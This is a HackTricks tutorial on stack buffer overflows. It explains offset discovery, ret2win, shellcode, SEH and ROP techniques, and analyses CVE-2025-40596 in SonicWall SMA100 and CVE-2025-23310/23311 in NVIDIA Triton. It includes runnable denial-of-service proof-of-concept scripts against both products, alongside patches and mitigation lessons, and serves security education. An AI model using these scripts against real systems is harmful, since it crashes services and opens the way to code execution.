Stack Overflow
Reading time: 10 minutes
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
What is a Stack Overflow
A stack overflow is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will overwrite adjacent memory space, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input.
The main problem of this overwrite is that the saved instruction pointer (EIP/RIP) and the saved base pointer (EBP/RBP) to return to the previous function are stored on the stack. Therefore, an attacker will be able to overwrite those and control the execution flow of the program.
The vulnerability usually arises because a function copies inside the stack more bytes than the amount allocated for it, therefore being able to overwrite other parts of the stack.
Some common functions vulnerable to this are: strcpy
, strcat
, sprintf
, gets
... Also, functions like fgets
, read
& memcpy
that take a length argument, might be used in a vulnerable way if the specified length is greater than the allocated one.
For example, the following functions could be vulnerable:
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
Finding Stack Overflows offsets
The most common way to find stack overflows is to give a very big input of A
s (e.g. python3 -c 'print("A"*1000)'
) and expect a Segmentation Fault
indicating that the address 0x41414141
was tried to be accessed.
Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to overwrite the return address, for this it's usually used a De Bruijn sequence. Which for a given alphabet of size k and subsequences of length n is a cyclic sequence in which every possible subsequence of length n appears exactly once as a contiguous subsequence.
This way, instead of needing to figure out which offset is needed to control the EIP by hand, it's possible to use as padding one of these sequences and then find the offset of the bytes that ended overwriting it.
It's possible to use pwntools for this:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
or GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
Exploiting Stack Overflows
During an overflow (supposing the overflow size if big enough) you will be able to overwrite values of local variables inside the stack until reaching the saved EBP/RBP and EIP/RIP (or even more).
The most common way to abuse this type of vulnerability is by modifying the return address so when the function ends the control flow will be redirected wherever the user specified in this pointer.
However, in other scenarios maybe just overwriting some variables values in the stack might be enough for the exploitation (like in easy CTF challenges).
Ret2win
In this type of CTF challenges, there is a function inside the binary that is never called and that you need to call in order to win. For these challenges you just need to find the offset to overwrite the return address and find the address of the function to call (usually ASLR would be disabled) so when the vulnerable function returns, the hidden function will be called:
Stack Shellcode
In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:
Windows SEH-based exploitation (nSEH/SEH)
On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. A common pattern is a short jmp in nSEH that lands on a 5-byte near jmp placed just before nSEH to jump hundreds of bytes back to the payload start.
ROP & Ret2... techniques
This technique is the fundamental framework to bypass the main protection to the previous technique: No executable stack (NX). And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary:
ROP - Return Oriented Programing
Heap Overflows
An overflow is not always going to be in the stack, it could also be in the heap for example:
Types of protections
There are several protections trying to prevent the exploitation of vulnerabilities, check them in:
Common Binary Exploitation Protections & Bypasses
Real-World Example: CVE-2025-40596 (SonicWall SMA100)
A good demonstration of why sscanf
should never be trusted for parsing untrusted input appeared in 2025 in SonicWall’s SMA100 SSL-VPN appliance.
The vulnerable routine inside /usr/src/EasyAccess/bin/httpd
attempts to extract the version and endpoint from any URI that begins with /__api__/
:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- The first conversion (
%2s
) safely stores two bytes intoversion
(e.g."v1"
). - The second conversion (
%s
) has no length specifier, thereforesscanf
will keep copying until the first NUL byte. - Because
endpoint
is located on the stack and is 0x800 bytes long, providing a path longer than 0x800 bytes corrupts everything that sits after the buffer ‑ including the stack canary and the saved return address.
A single-line proof-of-concept is enough to trigger the crash before authentication:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
Even though stack canaries abort the process, an attacker still gains a Denial-of-Service primitive (and, with additional information leaks, possibly code-execution). The lesson is simple:
- Always provide a maximum field width (e.g.
%511s
). - Prefer safer alternatives such as
snprintf
/strncpy_s
.
Real-World Example: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIA’s Triton Inference Server (≤ v25.06) contained multiple stack-based overflows reachable through its HTTP API.
The vulnerable pattern repeatedly appeared in http_server.cc
and sagemaker_server.cc
:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek
(libevent) returns the number of internal buffer segments that compose the current HTTP request body.- Each segment causes a 16-byte
evbuffer_iovec
to be allocated on the stack viaalloca()
– without any upper bound. - By abusing HTTP chunked transfer-encoding, a client can force the request to be split into hundreds-of-thousands of 6-byte chunks (
"1\r\nA\r\n"
). This makesn
grow unbounded until the stack is exhausted.
Proof-of-Concept (DoS)
#!/usr/bin/env python3
import socket, sys
def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n") # end of chunks
s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
A ~3 MB request is enough to overwrite the saved return address and crash the daemon on a default build.
Patch & Mitigation
The 25.07 release replaces the unsafe stack allocation with a heap-backed std::vector
and gracefully handles std::bad_alloc
:
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();
Lessons learned:
- Never call
alloca()
with attacker-controlled sizes. - Chunked requests can drastically change the shape of server-side buffers.
- Validate / cap any value derived from client input before using it in memory allocations.
References
- watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits – Uncovering memory corruption in NVIDIA Triton
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.